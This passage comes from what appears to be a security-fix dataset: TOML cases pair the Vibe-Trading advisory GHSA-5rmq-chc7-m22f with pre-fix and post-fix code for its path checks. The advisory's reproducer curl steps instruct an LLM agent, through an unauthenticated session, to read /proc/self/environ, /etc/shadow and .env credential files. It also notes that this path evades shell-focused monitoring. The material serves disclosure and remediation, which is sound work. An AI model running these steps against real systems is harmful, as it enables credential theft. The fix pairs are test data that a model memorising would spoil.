/proc/self/environ\"}'`\n3. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `read_document` with `file_path=\"/proc/self/environ\"` and return the full process environment in the message stream.\n4. Observe `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other variables in `agent/.env` appearing in plaintext.\n5. Repeat with `file_path=\"/etc/shadow\"` to confirm shadow password file access.\n\n**Impact**: \nAn unauthenticated caller can retrieve any file the server process can read. Running as root, that includes `/etc/shadow`, `/etc/passwd`, `/proc/self/environ` (full plaintext API keys), `/root/.ssh/id_rsa`, and any secret files mounted into the container. This is the broadest file-read primitive in the codebase and provides a credential-extraction path that does **not** require shell execution — endpoint monitoring tuned to BashTool / shell signatures will miss it entirely.\n\n---\n\n### Why F9 and F10 are listed separately\n\nA maintainer might be tempted to fix only one, on the theory that F10 dominates F9. Two reasons to fix both:\n\n1. **Different fix scope** — F10's fix is a single missing call (`safe_path(file_path)` in `read_document` before line 270). F9's fix is in `safe_user_path()` itself: the envelope must be replaced with a strict allowlist of operator-configured directories, *not* `Path.home() ∪ Path.cwd()`. A fix that adds the missing `safe_user_path` call to `read_document` is **insufficient** because `safe_user_path` itself accepts `/root` and `/app/agent/.env`. Both surfaces need work.\n\n2. **Different reachability classes** — F9 is reachable through tools that already gate on `safe_user_path` (`ExtractShadowStrategyTool` and several journal tools), so even a hypothetical F10 fix that switched `read_document` to use `safe_user_path` would still leak `/root/*` because the envelope is broken. F9 is the structural defect; F10 is the missed call.\n\n---\n\n### Suggested remediation\n\n11. **F9** — In `safe_user_path()` at `path_utils.py:52-77`, replace the `Path.home() ∪ Path.cwd()` envelope with a strict allowlist of operator-configured directories (e.g. an explicit `BROKER_EXPORTS_DIR` env var defaulting to `/app/data/broker_exports/`). Reject `/root`, `/app/agent/.env`, and `/app/agent/uploads/` (the latter to prevent F3-uploaded files from being subsequently parsed as a credential-leak vector via the parse-error channel).'\n\n12. **F10** — Add a `safe_path()` (or `safe_user_path()`) call at `doc_reader_tool.py:270` before the existing `path.exists()` / `path.is_file()` checks. Once F9 is patched, the same allowlist will apply uniformly to both `read_document` and the `safe_user_path`-gated tools.\n\n13. **Defense-in-depth** — Drop the FastAPI process to a non-root user. Add a `RUN useradd -m vibe && chown -R vibe /app` step to the Dockerfile and `USER vibe` before `CMD`. This does not fix the Path Traversal but materially reduces the credential-extraction blast radius of any successful exploit (and benefits every other finding in GHSA-1 and GHSA-2). See GHSA-1 / shared baseline for the matching `USER` recommendation.\n\n---"
+commit = "9454d4a27a763b80e1d6eb5763b86c88e9e4e714"
+cwe = "CWE-22"
+family = "path"
+function = "uploadFile"
+function_lines = [[26, 310]]
+id = "hkuds-vibe-trading-117903a04ddebe6e"
+language = "typescript"
+method = "fix_site"
+parent = "fd767f5c29c72cffe8e3f89c7ff006cb3041397f"
+path = "frontend/src/lib/api.ts"
+post_fix = "async function uploadFile(file: File): Promise {\n const form = new FormData();\n form.append(\"file\", file);\n const res = await fetch(`${BASE}/upload`, { method: \"POST\", headers: authHeaders(), body: form });\n if (!res.ok) {\n throw await errorFromResponse(res);\n }\n return res.json();\n}\n\nexport const api = {\n uploadFile,\n listRuns: () => request(\"/runs\"),\n getRun: (id: string) => request(`/runs/${id}`),\n getRunCode: (id: string) => request>(`/runs/${id}/code`),\n getRunPine: (id: string) => request(`/runs/${id}/pine`),\n listSessions: () => request(\"/sessions\"),\n createSession: (title?: string) => request(\"/sessions\", { method: \"POST\", body: JSON.stringify({ title: title || \"\" }) }),\n deleteSession: (sid: string) => request<{ status: string }>(`/sessions/${sid}`, { method: \"DELETE\" }),\n renameSession: (sid: string, title: string) => request<{ status: string }>(`/sessions/${sid}`, { method: \"PATCH\", body: JSON.stringify({ title }) }),\n sendMessage: (sid: string, content: string) => request<{ message_id: string; attempt_id: string }>(`/sessions/${sid}/messages`, { method: \"POST\", body: JSON.stringify({ content }) }),\n cancelSession: (sid: string) => request<{ status: string }>(`/sessions/${sid}/cancel`, { method: \"POST\" }),\n getSessionMessages: (sid: string) => request(`/sessions/${sid}/messages`),\n sseUrl: (sid: string) => withAuthQuery(`${BASE}/sessions/${sid}/events`),\n\n // Swarm API\n listSwarmPresets: () => request(\"/swarm/presets\"),\n createSwarmRun: (preset_name: string, user_vars: Record) =>\n request<{ id: string; status: string }>(\"/swarm/runs\", {\n method: \"POST\",\n body: JSON.stringify({ preset_name, user_vars }),\n }),\n listSwarmRuns: () => request(\"/swarm/runs\"),\n getSwarmRun: (id: string) => request>(`/swarm/runs/${id}`),\n swarmSseUrl: (id: string) => withAuthQuery(`${BASE}/swarm/runs/${id}/events`),\n cancelSwarmRun: (id: string) =>\n request<{ status: string }>(`/swarm/runs/${id}/cancel`, { method: \"POST\" }),\n getLLMSettings: () => request(\"/settings/llm\"),\n updateLLMSettings: (settings: UpdateLLMSettingsRequest) =>\n request(\"/settings/llm\", {\n method: \"PUT\",\n body: JSON.stringify(settings),\n }),\n getDataSourceSettings: () => request(\"/settings/data-sources\"),\n updateDataSourceSettings: (settings: UpdateDataSourceSettingsRequest) =>\n request(\"/settings/data-sources\", {\n method: \"PUT\",\n body: JSON.stringify(settings),\n }),\n};\n\n// --- Swarm types ---\n\nexport interface SwarmPreset {\n name: string;\n title: string;\n description: string;\n agent_count: number;\n variables: { name: string; description: string; required: boolean }[];\n}\n\nexport interface SwarmRunSummary {\n id: string;\n preset_name: string;\n status: string;\n created_at: string;\n task_count: number;\n completed_count: number;\n}\n\nexport interface LLMProviderOption {\n name: string;\n label: string;\n api_key_env?: string | null;\n base_url_env: string;\n default_model: string;\n default_base_url: string;\n api_key_required: boolean;\n auth_type?: string;\n login_command?: string | null;\n}\n\nexport interface LLMSettings {\n provider: string;\n model_name: string;\n base_url: string;\n api_key_env?: string | null;\n api_key_configured: boolean;\n api_key_hint?: string | null;\n api_key_required: boolean;\n temperature: number;\n timeout_seconds: number;\n max_retries: number;\n reasoning_effort: string;\n env_path: string;\n providers: LLMProviderOption[];\n}\n\nexport interface UpdateLLMSettingsRequest {\n provider: string;\n model_name: string;\n base_url: string;\n api_key?: string;\n clear_api_key?: boolean;\n temperature: number;\n timeout_seconds: number;\n max_retries: number;\n reasoning_effort?: string;\n}\n\nexport interface DataSourceSettings {\n tushare_token_configured: boolean;\n tushare_token_hint?: string | null;\n baostock_supported: boolean;\n baostock_installed: boolean;\n baostock_message: string;\n env_path: string;\n}\n\nexport interface UpdateDataSourceSettingsRequest {\n tushare_token?: string;\n clear_tushare_token?: boolean;\n}\n\n// --- Types matching backend API contracts ---\n\nexport interface RunListItem {\n run_id: string;\n status: string;\n created_at: string;\n prompt?: string;\n total_return?: number;\n sharpe?: number;\n codes?: string[];\n start_date?: string;\n end_date?: string;\n}\n\nexport interface PriceBar {\n time: string;\n timestamp?: string;\n code?: string;\n open: number;\n high: number;\n low: number;\n close: number;\n volume: number;\n}\n\nexport interface TradeMarker {\n time: string;\n timestamp?: string;\n code?: string;\n side: \"BUY\" | \"SELL\";\n price: number;\n qty?: number;\n reason?: string;\n text?: string;\n}\n\nexport interface EquityPoint {\n time: string;\n equity: string | number;\n drawdown: string | number;\n}\n\nexport interface ValidationData {\n monte_carlo?: {\n actual_sharpe: number;\n actual_max_dd: number;\n p_value_sharpe: number;\n p_value_max_dd: number;\n simulated_sharpe_mean: number;\n simulated_sharpe_std: number;\n simulated_sharpe_p5: number;\n simulated_sharpe_p95: number;\n n_simulations: number;\n n_trades: number;\n error?: string;\n };\n bootstrap?: {\n observed_sharpe: number;\n ci_lower: number;\n ci_upper: number;\n median_sharpe: number;\n prob_positive: number;\n confidence: number;\n n_bootstrap: number;\n error?: string;\n };\n walk_forward?: {\n n_windows: number;\n windows: Array<{\n window: number;\n start: string;\n end: string;\n return: number;\n sharpe: number;\n max_dd: number;\n trades: number;\n win_rate: number;\n }>;\n profitable_windows: number;\n consistency_rate: number;\n return_mean: number;\n return_std: number;\n sharpe_mean: number;\n sharpe_std: number;\n error?: string;\n };\n}\n\nexport interface RunData {\n status: string;\n run_id: string;\n prompt?: string;\n elapsed_seconds?: number;\n run_directory?: string;\n run_stage?: string;\n run_context?: Record;\n\n metrics?: BacktestMetrics;\n artifacts?: ArtifactInfo[];\n validation?: ValidationData;\n\n price_series?: Record;\n indicator_series?: Record>;\n trade_markers?: TradeMarker[];\n equity_curve?: EquityPoint[];\n trade_log?: Array>;\n run_logs?: Array<{ source?: string; line_number?: number; message?: string }>;\n}\n\nexport interface BacktestMetrics {\n final_value: number;\n total_return: number;\n annual_return: number;\n max_drawdown: number;\n sharpe: number;\n win_rate: number;\n trade_count: number;\n [key: string]: number;\n}\n\n\nexport interface IndicatorPoint {\n time: string;\n value: number;\n}\n\nexport interface ArtifactInfo {\n name: string;\n path: string;\n type: string;\n size: number;\n exists: boolean;\n}\n\nexport interface PineScriptResult {\n exists: boolean;\n content: string | null;\n}\n\nexport interface SessionItem {\n session_id: string;\n title?: string;\n status?: string;\n created_at?: string;\n updated_at?: string;\n last_attempt_id?: string;\n}\n\nexport interface MessageItem {\n message_id: string;\n session_id: string;\n role: string;\n content: string;\n created_at: string;\n linked_attempt_id?: string;\n metadata?: Record;\n}"
+pre_fix = "async function uploadFile(file: File): Promise {\n const form = new FormData();\n form.append(\"file\", file);\n const res = await fetch(`${BASE}/upload`, { method: \"POST\", body: form });\n if (!res.ok) {\n let detail = `HTTP ${res.status}`;\n try {\n const body = await res.json();\n detail = body.detail || body.message || detail;\n } catch { /* ignore */ }\n throw new Error(detail);\n }\n return res.json();\n}\n\nexport const api = {\n uploadFile,\n listRuns: () => request(\"/runs\"),\n getRun: (id: string) => request(`/runs/${id}`),\n getRunCode: (id: string) => request>(`/runs/${id}/code`),\n getRunPine: (id: string) => request(`/runs/${id}/pine`),\n listSessions: () => request(\"/sessions\"),\n createSession: (title?: string) => request(\"/sessions\", { method: \"POST\", body: JSON.stringify({ title: title || \"\" }) }),\n deleteSession: (sid: string) => request<{ status: string }>(`/sessions/${sid}`, { method: \"DELETE\" }),\n renameSession: (sid: string, title: string) => request<{ status: string }>(`/sessions/${sid}`, { method: \"PATCH\", body: JSON.stringify({ title }) }),\n sendMessage: (sid: string, content: string) => request<{ message_id: string; attempt_id: string }>(`/sessions/${sid}/messages`, { method: \"POST\", body: JSON.stringify({ content }) }),\n cancelSession: (sid: string) => request<{ status: string }>(`/sessions/${sid}/cancel`, { method: \"POST\" }),\n getSessionMessages: (sid: string) => request(`/sessions/${sid}/messages`),\n sseUrl: (sid: string) => `${BASE}/sessions/${sid}/events`,\n\n // Swarm API\n listSwarmPresets: () => request(\"/swarm/presets\"),\n createSwarmRun: (preset_name: string, user_vars: Record) =>\n request<{ id: string; status: string }>(\"/swarm/runs\", {\n method: \"POST\",\n body: JSON.stringify({ preset_name, user_vars }),\n }),\n listSwarmRuns: () => request(\"/swarm/runs\"),\n getSwarmRun: (id: string) => request>(`/swarm/runs/${id}`),\n cancelSwarmRun: (id: string) =>\n request<{ status: string }>(`/swarm/runs/${id}/cancel`, { method: \"POST\" }),\n getLLMSettings: () => request(\"/settings/llm\"),\n updateLLMSettings: (settings: UpdateLLMSettingsRequest) =>\n request(\"/settings/llm\", {\n method: \"PUT\",\n body: JSON.stringify(settings),\n }),\n getDataSourceSettings: () => request(\"/settings/data-sources\"),\n updateDataSourceSettings: (settings: UpdateDataSourceSettingsRequest) =>\n request(\"/settings/data-sources\", {\n method: \"PUT\",\n body: JSON.stringify(settings),\n }),\n};\n\n// --- Swarm types ---\n\nexport interface SwarmPreset {\n name: string;\n title: string;\n description: string;\n agent_count: number;\n variables: { name: string; description: string; required: boolean }[];\n}\n\nexport interface SwarmRunSummary {\n id: string;\n preset_name: string;\n status: string;\n created_at: string;\n task_count: number;\n completed_count: number;\n}\n\nexport interface LLMProviderOption {\n name: string;\n label: string;\n api_key_env?: string | null;\n base_url_env: string;\n default_model: string;\n default_base_url: string;\n api_key_required: boolean;\n auth_type?: string;\n login_command?: string | null;\n}\n\nexport interface LLMSettings {\n provider: string;\n model_name: string;\n base_url: string;\n api_key_env?: string | null;\n api_key_configured: boolean;\n api_key_hint?: string | null;\n api_key_required: boolean;\n temperature: number;\n timeout_seconds: number;\n max_retries: number;\n reasoning_effort: string;\n env_path: string;\n providers: LLMProviderOption[];\n}\n\nexport interface UpdateLLMSettingsRequest {\n provider: string;\n model_name: string;\n base_url: string;\n api_key?: string;\n clear_api_key?: boolean;\n temperature: number;\n timeout_seconds: number;\n max_retries: number;\n reasoning_effort?: string;\n}\n\nexport interface DataSourceSettings {\n tushare_token_configured: boolean;\n tushare_token_hint?: string | null;\n baostock_supported: boolean;\n baostock_installed: boolean;\n baostock_message: string;\n env_path: string;\n}\n\nexport interface UpdateDataSourceSettingsRequest {\n tushare_token?: string;\n clear_tushare_token?: boolean;\n}\n\n// --- Types matching backend API contracts ---\n\nexport interface RunListItem {\n run_id: string;\n status: string;\n created_at: string;\n prompt?: string;\n total_return?: number;\n sharpe?: number;\n codes?: string[];\n start_date?: string;\n end_date?: string;\n}\n\nexport interface PriceBar {\n time: string;\n timestamp?: string;\n code?: string;\n open: number;\n high: number;\n low: number;\n close: number;\n volume: number;\n}\n\nexport interface TradeMarker {\n time: string;\n timestamp?: string;\n code?: string;\n side: \"BUY\" | \"SELL\";\n price: number;\n qty?: number;\n reason?: string;\n text?: string;\n}\n\nexport interface EquityPoint {\n time: string;\n equity: string | number;\n drawdown: string | number;\n}\n\nexport interface ValidationData {\n monte_carlo?: {\n actual_sharpe: number;\n actual_max_dd: number;\n p_value_sharpe: number;\n p_value_max_dd: number;\n simulated_sharpe_mean: number;\n simulated_sharpe_std: number;\n simulated_sharpe_p5: number;\n simulated_sharpe_p95: number;\n n_simulations: number;\n n_trades: number;\n error?: string;\n };\n bootstrap?: {\n observed_sharpe: number;\n ci_lower: number;\n ci_upper: number;\n median_sharpe: number;\n prob_positive: number;\n confidence: number;\n n_bootstrap: number;\n error?: string;\n };\n walk_forward?: {\n n_windows: number;\n windows: Array<{\n window: number;\n start: string;\n end: string;\n return: number;\n sharpe: number;\n max_dd: number;\n trades: number;\n win_rate: number;\n }>;\n profitable_windows: number;\n consistency_rate: number;\n return_mean: number;\n return_std: number;\n sharpe_mean: number;\n sharpe_std: number;\n error?: string;\n };\n}\n\nexport interface RunData {\n status: string;\n run_id: string;\n prompt?: string;\n elapsed_seconds?: number;\n run_directory?: string;\n run_stage?: string;\n run_context?: Record;\n\n metrics?: BacktestMetrics;\n artifacts?: ArtifactInfo[];\n validation?: ValidationData;\n\n price_series?: Record;\n indicator_series?: Record>;\n trade_markers?: TradeMarker[];\n equity_curve?: EquityPoint[];\n trade_log?: Array>;\n run_logs?: Array<{ source?: string; line_number?: number; message?: string }>;\n}\n\nexport interface BacktestMetrics {\n final_value: number;\n total_return: number;\n annual_return: number;\n max_drawdown: number;\n sharpe: number;\n win_rate: number;\n trade_count: number;\n [key: string]: number;\n}\n\n\nexport interface IndicatorPoint {\n time: string;\n value: number;\n}\n\nexport interface ArtifactInfo {\n name: string;\n path: string;\n type: string;\n size: number;\n exists: boolean;\n}\n\nexport interface PineScriptResult {\n exists: boolean;\n content: string | null;\n}\n\nexport interface SessionItem {\n session_id: string;\n title?: string;\n status?: string;\n created_at?: string;\n updated_at?: string;\n last_attempt_id?: string;\n}\n\nexport interface MessageItem {\n message_id: string;\n session_id: string;\n role: string;\n content: string;\n created_at: string;\n linked_attempt_id?: string;\n metadata?: Record;\n}"
+repo = "hkuds/vibe-trading"
+url = "https://github.com/HKUDS/Vibe-Trading.git"
+
+[[case]]
+advisory = "GHSA-5rmq-chc7-m22f"
+advisory_text = "Vibe-Trading file-read tools expose arbitrary server-readable files\n\n### Summary: \n2 findings — `safe_user_path()` accepts any path under `Path.home()` or `Path.cwd()`, which inside the shipped root container resolves to `/root` and `/app` (so all of root's home, including `/root/.ssh/id_rsa`, `/root/.aws/credentials`, `/root/.kube/config`, and `/app/agent/.env`, passes the check) (F9). `read_document()` has no sandbox call at all and returns the full content of any path the FastAPI process can read, including `/etc/shadow`, `/etc/passwd`, `/proc/self/environ`, and any secret file mounted into the container (F10). F10 is strictly broader than F9 but they have different fix scopes (F10 = a missing `safe_path()` call in one function; F9 = the envelope definition in `path_utils.py`), so both must be patched.\n\n---\n\n### Shared baseline (applies to both findings)\n\nThe container has no `USER` directive (Dockerfile:15 — `FROM python:3.11-slim AS runtime`, no subsequent `USER`), so the FastAPI process runs as `uid=0(root)`. \n\nThe two file-read tools described here are members of the auto-discovered LLM tool registry. \nCombined with GHSA-1 / F1, they are reachable from any anonymous TCP client to port 8899, but the same defects also apply to authenticated sessions and to prompt-injection in any document the agent processes. \nSee GHSA-1's shared reproducer block for the install steps; the same `docker compose up -d` setup applies here.\n\n> **Note on the `HOST` placeholder used throughout the per-finding \"Steps to observe\" blocks below**: replace `HOST` with the address you reach the docker host on — typically `localhost` (or `127.0.0.1`) if you are running the reproducer on the same machine as the container. All `curl` commands below assume this substitution.\n\n---\n\n### Finding 9 — High: safe_user_path() accepts the entire user home directory and process CWD, allowing LLM tool calls to read /root credentials\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties)\n\n**Affected file**: `agent/src/tools/path_utils.py`\n- line 52 — `def safe_user_path(p: str) -> Path:`\n- line 73-77 — `if resolved.is_relative_to(home) or resolved.is_relative_to(cwd): return resolved` — `home = Path.home()`, `cwd = Path.cwd()`\n\n**Intent vs actual**: \n`safe_user_path()` is intended to permit journal and shadow-account tools to open broker export files the operator may have placed anywhere under their home directory or the project folder. The intended invariant is that only user-owned broker data files are accessible — not system credential files or SSH keys. The actual envelope check accepts any path whose resolved form is inside `Path.home()` or `Path.cwd()`. Inside the shipped Docker container, `Path.home()` resolves to `/root` and `Path.cwd()` resolves to `/app`. Every file under either subtree passes the check, including:\n\n- `/root/.ssh/id_rsa` and any other SSH key files\n- `/root/.aws/credentials`, `/root/.kube/config`, `/root/.docker/config.json`\n- `/app/agent/.env` (the file containing the operator's real `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other secrets)\n\nA runtime probe inside the container confirmed that `safe_user_path('/root/.aws/credentials')` returned the path without raising `ValueError`. `ExtractShadowStrategyTool` was then invoked against `/root/secrets/aws.csv` (a planted credential file) and returned an error message containing the first line of the file via the parse-error channel.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. (Setup for safe demo: inside the container, `docker exec` a planted file: `docker exec sh -c 'mkdir -p /root/secrets && printf \"broker_id,api_key,api_secret\\nDEMO,FAKE_KEY,FAKE_SECRET\\n\" > /root/secrets/aws.csv'`.)\n3. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Analyze the trade journal at the path /root/secrets/aws.csv and tell me what you find.\"}'`\n4. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `ExtractShadowStrategyTool` with `journal_path=\"/root/secrets/aws.csv\"`, which passes `safe_user_path()` and attempts to parse the file as a trade journal CSV.\n5. Observe the error response — when the file's structure does not match the expected journal schema, the parse error often includes the first line (column names) verbatim, leaking the file's first line.\n6. Repeat with `journal_path=\"/app/agent/.env\"` to confirm the `.env` file is within the accepted envelope.\n\n**Impact**: \nAny unauthenticated caller can instruct the LLM to attempt to parse any file under `/root` or `/app` as a trade journal, extracting the file's first line via the parse-error message channel. Files with valid CSV-like first lines may leak multiple bytes. In the shipped root container, `/root` encompasses all credentials a careless operator may have mounted into the home directory; `/app` includes the agent's own secrets and any operator-staged data files.\n\n---\n\n### Finding 10 — High: read_document() opens any server-readable file with no sandbox enforcement, returning full content of /etc/shadow and /proc/self/environ\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties); CWE-200 (Information Exposure)\n\n**Affected file**: `agent/src/tools/doc_reader_tool.py`\n- line 259 — `def read_document(file_path: str, pages: str = \"\") -> str:`\n- line 270 — `path = Path(file_path)` — followed only by `path.exists()` and `path.is_file()` checks before dispatching to format-specific readers\n- No call to `safe_path`, `safe_user_path`, or any other sandbox enforcement appears anywhere in the function\n\n**Intent vs actual**: `DocReaderTool` is intended to allow the LLM agent to read documents and data files provided for analysis. Like other file-reading tools in the project, it should apply a sandbox check before opening the file. The actual implementation takes the LLM-emitted `file_path` string, runs only `path.exists()` and `path.is_file()`, and dispatches to the appropriate reader. No call to `safe_path` or `safe_user_path` exists in the function. A runtime probe confirmed:\n\n- `read_document('/etc/passwd')` returned HTTP 200 with 839 characters of content\n- `read_document('/etc/shadow')` returned the full shadow password file\n- `read_document('/proc/self/environ')` returned the full process environment, including `OPENROUTER_API_KEY` and `TUSHARE_TOKEN` in plaintext\n\nThis is strictly **wider** than F9: F9 is bounded to `/root` + `/app` via the (overly-broad) envelope; F10 has no envelope at all and reaches `/etc`, `/proc`, `/var`, and any other path the FastAPI process can read.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Please read and summarize the document at /proc/self/environ\"}'`\n3. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `read_document` with `file_path=\"/proc/self/environ\"` and return the full process environment in the message stream.\n4. Observe `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other variables in `agent/.env` appearing in plaintext.\n5. Repeat with `file_path=\"/etc/shadow\"` to confirm shadow password file access.\n\n**Impact**: \nAn unauthenticated caller can retrieve any file the server process can read. Running as root, that includes `/etc/shadow`, `/etc/passwd`, `/proc/self/environ` (full plaintext API keys), `/root/.ssh/id_rsa`, and any secret files mounted into the container. This is the broadest file-read primitive in the codebase and provides a credential-extraction path that does **not** require shell execution — endpoint monitoring tuned to BashTool / shell signatures will miss it entirely.\n\n---\n\n### Why F9 and F10 are listed separately\n\nA maintainer might be tempted to fix only one, on the theory that F10 dominates F9. Two reasons to fix both:\n\n1. **Different fix scope** — F10's fix is a single missing call (`safe_path(file_path)` in `read_document` before line 270). F9's fix is in `safe_user_path()` itself: the envelope must be replaced with a strict allowlist of operator-configured directories, *not* `Path.home() ∪ Path.cwd()`. A fix that adds the missing `safe_user_path` call to `read_document` is **insufficient** because `safe_user_path` itself accepts `/root` and `/app/agent/.env`. Both surfaces need work.\n\n2. **Different reachability classes** — F9 is reachable through tools that already gate on `safe_user_path` (`ExtractShadowStrategyTool` and several journal tools), so even a hypothetical F10 fix that switched `read_document` to use `safe_user_path` would still leak `/root/*` because the envelope is broken. F9 is the structural defect; F10 is the missed call.\n\n---\n\n### Suggested remediation\n\n11. **F9** — In `safe_user_path()` at `path_utils.py:52-77`, replace the `Path.home() ∪ Path.cwd()` envelope with a strict allowlist of operator-configured directories (e.g. an explicit `BROKER_EXPORTS_DIR` env var defaulting to `/app/data/broker_exports/`). Reject `/root`, `/app/agent/.env`, and `/app/agent/uploads/` (the latter to prevent F3-uploaded files from being subsequently parsed as a credential-leak vector via the parse-error channel).'\n\n12. **F10** — Add a `safe_path()` (or `safe_user_path()`) call at `doc_reader_tool.py:270` before the existing `path.exists()` / `path.is_file()` checks. Once F9 is patched, the same allowlist will apply uniformly to both `read_document` and the `safe_user_path`-gated tools.\n\n13. **Defense-in-depth** — Drop the FastAPI process to a non-root user. Add a `RUN useradd -m vibe && chown -R vibe /app` step to the Dockerfile and `USER vibe` before `CMD`. This does not fix the Path Traversal but materially reduces the credential-extraction blast radius of any successful exploit (and benefits every other finding in GHSA-1 and GHSA-2). See GHSA-1 / shared baseline for the matching `USER` recommendation.\n\n---"
+commit = "9454d4a27a763b80e1d6eb5763b86c88e9e4e714"
+cwe = "CWE-22"
+family = "path"
+function = "safe_user_path"
+function_lines = [[52, 81]]
+id = "hkuds-vibe-trading-16a24d8276343ff1"
+language = "python"
+method = "fix_site"
+parent = "fd767f5c29c72cffe8e3f89c7ff006cb3041397f"
+path = "agent/src/tools/path_utils.py"
+post_fix = "def safe_user_path(p: str) -> Path:\n \"\"\"Validate a user-supplied broker/export file path.\n\n Args:\n p: User-supplied path. `~` expansion is supported.\n\n Returns:\n Absolute resolved path inside an allowed import root.\n\n Raises:\n ValueError: If `p` is a UNC share or resolves outside all allowed\n import roots.\n \"\"\"\n return _safe_import_path(p, purpose=\"user-file\")\n\n"
+pre_fix = "def safe_user_path(p: str) -> Path:\n \"\"\"Validate a user-supplied absolute file path.\n\n Used when the LLM passes a broker-export path the user referenced in\n natural language. The path may legitimately live anywhere the user\n keeps files (Desktop, Downloads, a project subdirectory), so the\n envelope is HOME ∪ CWD rather than a tight sandbox.\n\n Args:\n p: User-supplied path. `~` expansion supported.\n\n Returns:\n Absolute resolved path.\n\n Raises:\n ValueError: If `p` is a UNC share, or resolves outside both the\n user's home directory and the current working directory.\n \"\"\"\n _rejects_unc(p)\n resolved = Path(p).expanduser().resolve()\n\n home = Path.home().resolve()\n cwd = Path.cwd().resolve()\n\n if resolved.is_relative_to(home) or resolved.is_relative_to(cwd):\n return resolved\n\n raise ValueError(\n f\"Path {p!r} is outside the user home directory and project directory\"\n )"
+repo = "hkuds/vibe-trading"
+url = "https://github.com/HKUDS/Vibe-Trading.git"
+
+[[case]]
+advisory = "GHSA-5rmq-chc7-m22f"
+advisory_text = "Vibe-Trading file-read tools expose arbitrary server-readable files\n\n### Summary: \n2 findings — `safe_user_path()` accepts any path under `Path.home()` or `Path.cwd()`, which inside the shipped root container resolves to `/root` and `/app` (so all of root's home, including `/root/.ssh/id_rsa`, `/root/.aws/credentials`, `/root/.kube/config`, and `/app/agent/.env`, passes the check) (F9). `read_document()` has no sandbox call at all and returns the full content of any path the FastAPI process can read, including `/etc/shadow`, `/etc/passwd`, `/proc/self/environ`, and any secret file mounted into the container (F10). F10 is strictly broader than F9 but they have different fix scopes (F10 = a missing `safe_path()` call in one function; F9 = the envelope definition in `path_utils.py`), so both must be patched.\n\n---\n\n### Shared baseline (applies to both findings)\n\nThe container has no `USER` directive (Dockerfile:15 — `FROM python:3.11-slim AS runtime`, no subsequent `USER`), so the FastAPI process runs as `uid=0(root)`. \n\nThe two file-read tools described here are members of the auto-discovered LLM tool registry. \nCombined with GHSA-1 / F1, they are reachable from any anonymous TCP client to port 8899, but the same defects also apply to authenticated sessions and to prompt-injection in any document the agent processes. \nSee GHSA-1's shared reproducer block for the install steps; the same `docker compose up -d` setup applies here.\n\n> **Note on the `HOST` placeholder used throughout the per-finding \"Steps to observe\" blocks below**: replace `HOST` with the address you reach the docker host on — typically `localhost` (or `127.0.0.1`) if you are running the reproducer on the same machine as the container. All `curl` commands below assume this substitution.\n\n---\n\n### Finding 9 — High: safe_user_path() accepts the entire user home directory and process CWD, allowing LLM tool calls to read /root credentials\n\n- **Severity**: High\n- **CVSS v3.1**: 7.5 — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n- **CVSS v4.0**: 8.7 — `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n- **CWE**: CWE-22 (Path Traversal); CWE-552 (Files Accessible to External Parties)\n\n**Affected file**: `agent/src/tools/path_utils.py`\n- line 52 — `def safe_user_path(p: str) -> Path:`\n- line 73-77 — `if resolved.is_relative_to(home) or resolved.is_relative_to(cwd): return resolved` — `home = Path.home()`, `cwd = Path.cwd()`\n\n**Intent vs actual**: \n`safe_user_path()` is intended to permit journal and shadow-account tools to open broker export files the operator may have placed anywhere under their home directory or the project folder. The intended invariant is that only user-owned broker data files are accessible — not system credential files or SSH keys. The actual envelope check accepts any path whose resolved form is inside `Path.home()` or `Path.cwd()`. Inside the shipped Docker container, `Path.home()` resolves to `/root` and `Path.cwd()` resolves to `/app`. Every file under either subtree passes the check, including:\n\n- `/root/.ssh/id_rsa` and any other SSH key files\n- `/root/.aws/credentials`, `/root/.kube/config`, `/root/.docker/config.json`\n- `/app/agent/.env` (the file containing the operator's real `OPENROUTER_API_KEY`, `TUSHARE_TOKEN`, and any other secrets)\n\nA runtime probe inside the container confirmed that `safe_user_path('/root/.aws/credentials')` returned the path without raising `ValueError`. `ExtractShadowStrategyTool` was then invoked against `/root/secrets/aws.csv` (a planted credential file) and returned an error message containing the first line of the file via the parse-error channel.\n\n**Steps to observe**:\n\n1. Per GHSA-1 shared reproducer, start the server with a working LLM API key and create an unauthenticated session.\n2. (Setup for safe demo: inside the container, `docker exec` a planted file: `docker exec sh -c 'mkdir -p /root/secrets && printf \"broker_id,api_key,api_secret\\nDEMO,FAKE_KEY,FAKE_SECRET\\n\" > /root/secrets/aws.csv'`.)\n3. `curl -s -X POST \"http://HOST:8899/sessions/$SID/messages\" -H 'Content-Type: application/json' -d '{\"content\":\"Analyze the trade journal at the path /root/secrets/aws.csv and tell me what you find.\"}'`\n4. Poll `curl -s \"http://HOST:8899/sessions/$SID/messages\"`. Observe the agent invoke `ExtractShadowStrategyTool` with `journal_path=\"/root/secrets/aws.csv\"`, which passes `safe_user_path()` and attempts to parse the file as a trade journal CSV.\n5. Observe the error response — when the file's 